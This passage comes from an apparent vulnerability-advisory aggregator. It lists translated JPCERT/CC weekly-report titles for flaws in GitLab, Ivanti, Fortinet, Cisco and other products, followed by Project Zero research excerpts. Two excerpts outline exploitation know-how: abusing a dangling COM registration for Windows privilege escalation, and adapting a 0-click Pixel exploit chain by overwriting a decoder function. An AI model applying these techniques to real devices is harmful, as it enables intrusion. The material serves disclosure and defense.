Weekly report: Multiple vulnerabilities in GitLab. Original Japanese title: Weekly Report: GitLabに複数の脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Multiple vulnerabilities in GitLab: https://www.jpcert.or.jp/wr/2026/wr261021.html#21
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: GitLabに複数の脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Authentication bypass vulnerability in Ivanti Connect Secure
https://kevwire.com/record/jpcert-wr261021-0e7d57d0b8e3
Weekly report: Authentication bypass vulnerability in Ivanti Connect Secure (Oct 21, 2026).
Weekly report: Authentication bypass vulnerability in Ivanti Connect Secure. Original Japanese title: Weekly Report: Ivanti Connect Secureに認証回避の脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Authentication bypass vulnerability in Ivanti Connect Secure: https://www.jpcert.or.jp/wr/2026/wr261021.html#17
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: Ivanti Connect Secureに認証回避の脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Vulnerabilities in multiple Palo Alto Networks products
https://kevwire.com/record/jpcert-wr261021-15e439c53499
Weekly report: Vulnerabilities in multiple Palo Alto Networks products (Oct 21, 2026).
Weekly report: Vulnerabilities in multiple Palo Alto Networks products. Original Japanese title: Weekly Report: 複数のPalo Alto Networks製品に脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple Palo Alto Networks products: https://www.jpcert.or.jp/wr/2026/wr261021.html#11
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: 複数のPalo Alto Networks製品に脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Vulnerabilities in multiple NGINX products
https://kevwire.com/record/jpcert-wr261021-30384d7e0877
Weekly report: Vulnerabilities in multiple NGINX products (Oct 21, 2026).
Weekly report: Vulnerabilities in multiple NGINX products. Original Japanese title: Weekly Report: 複数のNGINX製品に脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple NGINX products: https://www.jpcert.or.jp/wr/2026/wr261021.html#4
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: 複数のNGINX製品に脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: JPCERT/CC publishes "Investigation of attack methods in serial unauthorized access incidents"
https://kevwire.com/record/jpcert-wr261021-3dafd372369e
Weekly report: JPCERT/CC publishes "Investigation of attack methods in serial unauthorized access incidents" (Oct 21, 2026).
Weekly report: JPCERT/CC publishes "Investigation of attack methods in serial unauthorized access incidents". Original Japanese title: Weekly Report: JPCERT/CCが「連続不正アクセス事案の攻撃手法に関する調査」を公開
Sources:
JPCERT/CC Japan Advisories: Weekly report: JPCERT/CC publishes "Investigation of attack methods in serial unauthorized access incidents": https://www.jpcert.or.jp/wr/2026/wr261021.html#22
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: JPCERT/CCが「連続不正アクセス事案の攻撃手法に関する調査」を公開
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Vulnerability in Nextcloud Collabora Online - Built-in CODE Server
https://kevwire.com/record/jpcert-wr261021-45f7e590cb5a
Weekly report: Vulnerability in Nextcloud Collabora Online - Built-in CODE Server (Oct 21, 2026).
Weekly report: Vulnerability in Nextcloud Collabora Online - Built-in CODE Server. Original Japanese title: Weekly Report: NextcloudのCollabora Online - Built-in CODE Serverに脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Vulnerability in Nextcloud Collabora Online - Built-in CODE Server: https://www.jpcert.or.jp/wr/2026/wr261021.html#10
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: NextcloudのCollabora Online - Built-in CODE Serverに脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Authentication bypass vulnerability in ((OTRS)) Community Edition
https://kevwire.com/record/jpcert-wr261021-48b10090392a
Weekly report: Authentication bypass vulnerability in ((OTRS)) Community Edition (Oct 21, 2026).
Weekly report: Authentication bypass vulnerability in ((OTRS)) Community Edition. Original Japanese title: Weekly Report: ((OTRS)) Community Editionに認証回避の脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Authentication bypass vulnerability in ((OTRS)) Community Edition: https://www.jpcert.or.jp/wr/2026/wr261021.html#19
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: ((OTRS)) Community Editionに認証回避の脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Vulnerabilities in multiple Fortinet products
https://kevwire.com/record/jpcert-wr261021-6e0e82fcb686
Weekly report: Vulnerabilities in multiple Fortinet products (Oct 21, 2026).
Weekly report: Vulnerabilities in multiple Fortinet products. Original Japanese title: Weekly Report: 複数のFortinet製品に脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple Fortinet products: https://www.jpcert.or.jp/wr/2026/wr261021.html#16
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: 複数のFortinet製品に脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Authentication bypass via spoofing vulnerability in BeyondTrust Remote Support
https://kevwire.com/record/jpcert-wr261021-6f2b240242f6
Weekly report: Authentication bypass via spoofing vulnerability in BeyondTrust Remote Support (Oct 21, 2026).
Weekly report: Authentication bypass via spoofing vulnerability in BeyondTrust Remote Support. Original Japanese title: Weekly Report: BeyondTrust Remote Supportになりすましによる認証回避の脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Authentication bypass via spoofing vulnerability in BeyondTrust Remote Support: https://www.jpcert.or.jp/wr/2026/wr261021.html#3
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: BeyondTrust Remote Supportになりすましによる認証回避の脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Vulnerabilities in multiple Mozilla products
https://kevwire.com/record/jpcert-wr261021-844f9fae1c52
Weekly report: Vulnerabilities in multiple Mozilla products (Oct 21, 2026).
Weekly report: Vulnerabilities in multiple Mozilla products. Original Japanese title: Weekly Report: 複数のMozilla製品に脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple Mozilla products: https://www.jpcert.or.jp/wr/2026/wr261021.html#14
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: 複数のMozilla製品に脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Incorrect permission assignment for critical resource vulnerability in AssetView
https://kevwire.com/record/jpcert-wr261021-8f4abfadfe6a
Weekly report: Incorrect permission assignment for critical resource vulnerability in AssetView (Oct 21, 2026).
Weekly report: Incorrect permission assignment for critical resource vulnerability in AssetView. Original Japanese title: Weekly Report: AssetViewに重要なリソースに対する不適切なアクセス権の割り当ての脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Incorrect permission assignment for critical resource vulnerability in AssetView: https://www.jpcert.or.jp/wr/2026/wr261021.html#18
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: AssetViewに重要なリソースに対する不適切なアクセス権の割り当ての脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Vulnerability in Drupal core and multiple modules
https://kevwire.com/record/jpcert-wr261021-b70f3e740654
Weekly report: Vulnerability in Drupal core and multiple modules (Oct 21, 2026).
Weekly report: Vulnerability in Drupal core and multiple modules. Original Japanese title: Weekly Report: Drupal coreおよび複数のモジュールに脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Vulnerability in Drupal core and multiple modules: https://www.jpcert.or.jp/wr/2026/wr261021.html#5
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: Drupal coreおよび複数のモジュールに脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Multiple vulnerabilities in Progress MarkLogic Server
https://kevwire.com/record/jpcert-wr261021-ba50be7f7567
Weekly report: Multiple vulnerabilities in Progress MarkLogic Server (Oct 21, 2026).
Weekly report: Multiple vulnerabilities in Progress MarkLogic Server. Original Japanese title: Weekly Report: ProgressのMarkLogic Serverに複数の脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Multiple vulnerabilities in Progress MarkLogic Server: https://www.jpcert.or.jp/wr/2026/wr261021.html#20
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: ProgressのMarkLogic Serverに複数の脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Vulnerabilities in multiple Microsoft products
https://kevwire.com/record/jpcert-wr261021-c55163b4540d
Weekly report: Vulnerabilities in multiple Microsoft products (Oct 21, 2026).
Weekly report: Vulnerabilities in multiple Microsoft products. Original Japanese title: Weekly Report: 複数のマイクロソフト製品に脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple Microsoft products: https://www.jpcert.or.jp/wr/2026/wr261021.html#24
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: 複数のマイクロソフト製品に脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Vulnerabilities in multiple SAP products
https://kevwire.com/record/jpcert-wr261021-cba9ad1658c4
Weekly report: Vulnerabilities in multiple SAP products (Oct 21, 2026).
Weekly report: Vulnerabilities in multiple SAP products. Original Japanese title: Weekly Report: 複数のSAP製品に脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple SAP products: https://www.jpcert.or.jp/wr/2026/wr261021.html#15
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: 複数のSAP製品に脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Vulnerabilities in multiple Juniper Networks products
https://kevwire.com/record/jpcert-wr261021-ce2116a94381
Weekly report: Vulnerabilities in multiple Juniper Networks products (Oct 21, 2026).
Weekly report: Vulnerabilities in multiple Juniper Networks products. Original Japanese title: Weekly Report: 複数のJuniper Networks製品に脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple Juniper Networks products: https://www.jpcert.or.jp/wr/2026/wr261021.html#2
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: 複数のJuniper Networks製品に脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Vulnerabilities in multiple Adobe products
https://kevwire.com/record/jpcert-wr261021-dc7bb90f8341
Weekly report: Vulnerabilities in multiple Adobe products (Oct 21, 2026).
Weekly report: Vulnerabilities in multiple Adobe products. Original Japanese title: Weekly Report: 複数のAdobe製品に脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple Adobe products: https://www.jpcert.or.jp/wr/2026/wr261021.html#6
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: 複数のAdobe製品に脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: External control of assumed-immutable web parameter vulnerability in "AmazonPay plugin" for EC-CUBE 4 series
https://kevwire.com/record/jpcert-wr261021-e2994e66f0a2
Weekly report: External control of assumed-immutable web parameter vulnerability in "AmazonPay plugin" for EC-CUBE 4 series (Oct 21, 2026).
Weekly report: External control of assumed-immutable web parameter vulnerability in "AmazonPay plugin" for EC-CUBE 4 series. Original Japanese title: Weekly Report: EC-CUBE4系用プラグイン「AmazonPayプラグイン」に不変と想定しているWebパラメータの外部制御の脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: External control of assumed-immutable web parameter vulnerability in "AmazonPay plugin" for EC-CUBE 4 series: https://www.jpcert.or.jp/wr/2026/wr261021.html#9
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: EC-CUBE4系用プラグイン「AmazonPayプラグイン」に不変と想定しているWebパラメータの外部制御の脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Multiple vulnerabilities in Google Chrome
https://kevwire.com/record/jpcert-wr261021-e333acdebc25
Weekly report: Multiple vulnerabilities in Google Chrome (Oct 21, 2026).
Weekly report: Multiple vulnerabilities in Google Chrome. Original Japanese title: Weekly Report: Google Chromeに複数の脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Multiple vulnerabilities in Google Chrome: https://www.jpcert.or.jp/wr/2026/wr261021.html#7
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: Google Chromeに複数の脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Arbitrary file write vulnerability in Cisco Secure Email Gateway
https://kevwire.com/record/jpcert-wr261021-ea8fac2bc6c8
Weekly report: Arbitrary file write vulnerability in Cisco Secure Email Gateway (Oct 21, 2026).
Weekly report: Arbitrary file write vulnerability in Cisco Secure Email Gateway. Original Japanese title: Weekly Report: Cisco Secure Email Gatewayに任意のファイル書き込みの脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Arbitrary file write vulnerability in Cisco Secure Email Gateway: https://www.jpcert.or.jp/wr/2026/wr261021.html#12
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: Cisco Secure Email Gatewayに任意のファイル書き込みの脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Multiple vulnerabilities in Microsoft Edge
https://kevwire.com/record/jpcert-wr261021-ee1dc788e14b
Weekly report: Multiple vulnerabilities in Microsoft Edge (Oct 21, 2026).
Weekly report: Multiple vulnerabilities in Microsoft Edge. Original Japanese title: Weekly Report: Microsoft Edgeに複数の脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Multiple vulnerabilities in Microsoft Edge: https://www.jpcert.or.jp/wr/2026/wr261021.html#1
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: Microsoft Edgeに複数の脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: OS command injection vulnerability in SiteGuard Server Edition
https://kevwire.com/record/jpcert-wr261021-f1b513ab227d
Weekly report: OS command injection vulnerability in SiteGuard Server Edition (Oct 21, 2026).
Weekly report: OS command injection vulnerability in SiteGuard Server Edition. Original Japanese title: Weekly Report: SiteGuard Server EditionにOSコマンドインジェクションの脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: OS command injection vulnerability in SiteGuard Server Edition: https://www.jpcert.or.jp/wr/2026/wr261021.html#23
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: SiteGuard Server EditionにOSコマンドインジェクションの脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Vulnerabilities in multiple Zoom products
https://kevwire.com/record/jpcert-wr261021-fbe47579e918
Weekly report: Vulnerabilities in multiple Zoom products (Oct 21, 2026).
Weekly report: Vulnerabilities in multiple Zoom products. Original Japanese title: Weekly Report: 複数のZoom製品に脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple Zoom products: https://www.jpcert.or.jp/wr/2026/wr261021.html#13
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: 複数のZoom製品に脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Security alert: Microsoft security updates for October 2026 (published)
https://kevwire.com/record/jpcert-at260031-7ae47971411b
Security alert: Microsoft security updates for October 2026 (published) (Oct 14, 2026).
Security alert: Microsoft security updates for October 2026 (published). Original Japanese title: 注意喚起: 2026年10月マイクロソフトセキュリティ更新プログラムに関する注意喚起 (公開)
Sources:
JPCERT/CC Japan Advisories: Security alert: Microsoft security updates for October 2026 (published): https://www.jpcert.or.jp/at/2026/at260031.html
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### How to fix a bug in a fix
https://kevwire.com/record/project-zero-emergency-patching-df64f3cce767
How to fix a bug in a fix (Oct 6, 2026).
Project Zero often works with software vendors to remediate the vulnerabilities we report and provide broader guidance on making software more secure. Some vendors express concern about potential scenarios in which they are unable to fix vulnerabilities that are causing immediate user harm, due to limitations in their patch delivery systems. Since Project Zero encounters a wide array of systems designed to protect users in the case of exceptional exploitation scenarios, both through vendor discussions and security reviews, we want to share what we’ve learned. This post provides an overview of systems in use by large vendors that allow them to remediate small volumes of vulnerabilities much faster than their typical update process. Our goal is to provide a reference for vendors seeking to implement or enhance the capabilities of such systems, and to encourage vendors to consider how they would fix an urgent vulnerability before they receive one.
Sources:
Google Project Zero Research: How to fix a bug in a fix: https://projectzero.google/2026/10/emergency-patching.html
Google Project Zero Research syndication feed: https://projectzero.google/feed.xml
Project Zero often works with software vendors to remediate the vulnerabilities we report and provide broader guidance on making software more secure. Some vendors express concern about potential scenarios in which they are unable to fix vulnerabilities that are causing immediate user harm, due to limitations in their patch delivery systems. Since Project Zero encounters a wide array of systems designed to protect users in the case of exceptional exploitation scenarios, both through vendor discussions and security reviews, we want to share what we’ve learned. This post provides an overview of systems in use by large vendors that allow them to remediate small volumes of vulnerabilities much faster than their typical update process. Our goal is to provide a reference for vendors seeking to implement or enhance the capabilities of such systems, and to encourage vendors to consider how they would fix an urgent vulnerability before they receive one.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Windows Exploitation Techniques: Dangling COM Object Registrations
https://kevwire.com/record/project-zero-windows-dangling-com-aeff1dc7e91a
Windows Exploitation Techniques: Dangling COM Object Registrations (Sep 21, 2026).
This short blog post is about abusing a privilege escalation bug that Microsoft recently fixed in Windows, CVE-2026-66804, that I and 14 others reported. This issue is an incomplete fix for CVE-2026-50343, a bug dubbed “Dark Elevator” by Calif. The root cause of the bug was a dangling COM object registration for the CrossDevice COM object with the CLSID {E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}. A COM registration typically needs two parts: a server executable, which for in-process components is a DLL and a CLSID entry under the HKEY_CLASSES_ROOT registry key which points to that DLL.
Sources:
Google Project Zero Research: Windows Exploitation Techniques: Dangling COM Object Registrations: https://projectzero.google/2026/09/windows-dangling-com.html
Google Project Zero Research syndication feed: https://projectzero.google/feed.xml
This short blog post is about abusing a privilege escalation bug that Microsoft recently fixed in Windows, CVE-2026-66804, that I and 14 others reported. This issue is an incomplete fix for CVE-2026-50343, a bug dubbed “Dark Elevator” by Calif. The root cause of the bug was a dangling COM object registration for the CrossDevice COM object with the CLSID {E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}. A COM registration typically needs two parts: a server executable, which for in-process components is a DLL and a CLSID entry under the HKEY_CLASSES_ROOT registry key which points to that DLL.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Testing race conditions with memory access tracing and stack-based delay injection
https://kevwire.com/record/project-zero-maccconc-race-condition-f8ca6cc85e36
Testing race conditions with memory access tracing and stack-based delay injection (Sep 8, 2026).
Many security bugs are race conditions, where multi-threaded execution has to occur with the right interleaving for a negative effect to appear. This creates challenges for several use cases: Confirming bug candidates that have been discovered manually or through static analysis. Regression tests: After fixing a race condition bug, there is often no good way to write a regression test that reliably triggers the bug as part of a test suite. Automatic bug discovery, such as fuzzing: It is hard for a fuzzer to exercise all interesting interleavings of concurrent operations, or reach code paths that are only exercised when operations are racing.
Sources:
Google Project Zero Research: Testing race conditions with memory access tracing and stack-based delay injection: https://projectzero.google/2026/09/maccconc-race-condition.html
Google Project Zero Research syndication feed: https://projectzero.google/feed.xml
Many security bugs are race conditions, where multi-threaded execution has to occur with the right interleaving for a negative effect to appear. This creates challenges for several use cases: Confirming bug candidates that have been discovered manually or through static analysis. Regression tests: After fixing a race condition bug, there is often no good way to write a regression test that reliably triggers the bug as part of a test suite. Automatic bug discovery, such as fuzzing: It is hard for a fuzzer to exercise all interesting interleavings of concurrent operations, or reach code paths that are only exercised when operations are racing.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### A 0-click exploit chain for the Pixel 10: When a Door Closes, a Window Opens
https://kevwire.com/record/project-zero-pixel-10-exploit-1635f685d5eb
A 0-click exploit chain for the Pixel 10: When a Door Closes, a Window Opens (May 13, 2026).
We recently published an exploit chain for the Google Pixel 9 that demonstrated it was possible to go from a zero-click context to root on Android in just two exploits. The Dolby 0-click vulnerability existed across all of Android, until it was patched in January 2026. While we had an exploit chain for the Pixel 9, we wanted to see if it was possible to write a similar exploit chain for Pixel 10. Updating the Dolby Exploit Altering our exploit for CVE-2025-54957 was fairly straightforward. The majority of needed changes involved updating offsets calculated for the specific version of the library we targeted on the Pixel 9 to similar offsets in the library for Pixel 10. The only challenge (outside of wishing we’d better documented which syncframes contained offsets) was that the Pixel 10 uses RET PAC in the place of -fstack-protector, which meant that __stack_chk_fail wasn’t available to be overwritten by code. After a bit of trial and error, we used dap_cpdp_init, initialization code that can be overwritten without causing functional problems, as it is called once when the decoder is initialized and never again.
Sources:
Google Project Zero Research: A 0-click exploit chain for the Pixel 10: When a Door Closes, a Window Opens: https://projectzero.google/2026/05/pixel-10-exploit.html
Google Project Zero Research syndication feed: https://projectzero.google/feed.xml
We recently published an exploit chain for the Google Pixel 9 that demonstrated it was possible to go from a zero-click context to root on Android in just two exploits. The Dolby 0-click vulnerability existed across all of Android, until it was patched in January 2026. While we had an exploit chain for the Pixel 9, we wanted to see if it was possible to write a similar exploit chain for Pixel 10. Updating the Dolby Exploit Altering our exploit for CVE-2025-54957 was fairly straightforward. The majority of needed changes involved updating offsets calculated for the specific version of the library we targeted on the Pixel 9 to similar offsets in the library for Pixel 10. The only challenge (outside of wishing we’d better documented which syncframes contained offsets) was that the Pixel 10 uses RET PAC in the place of -fstack-protector, which meant that __stack_chk_fail wasn’t available to be overwritten by code. After a bit of trial and error, we used dap_cpdp_init, initialization code that can be overwritten without causing functional problems, as it is called once when the decoder is initialized and never again.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### On the Effectiveness of Mutational Grammar Fuzzing
https://kevwire.com/record/project-zero-mutational-grammar-fuzzing-dc2fd54d4999
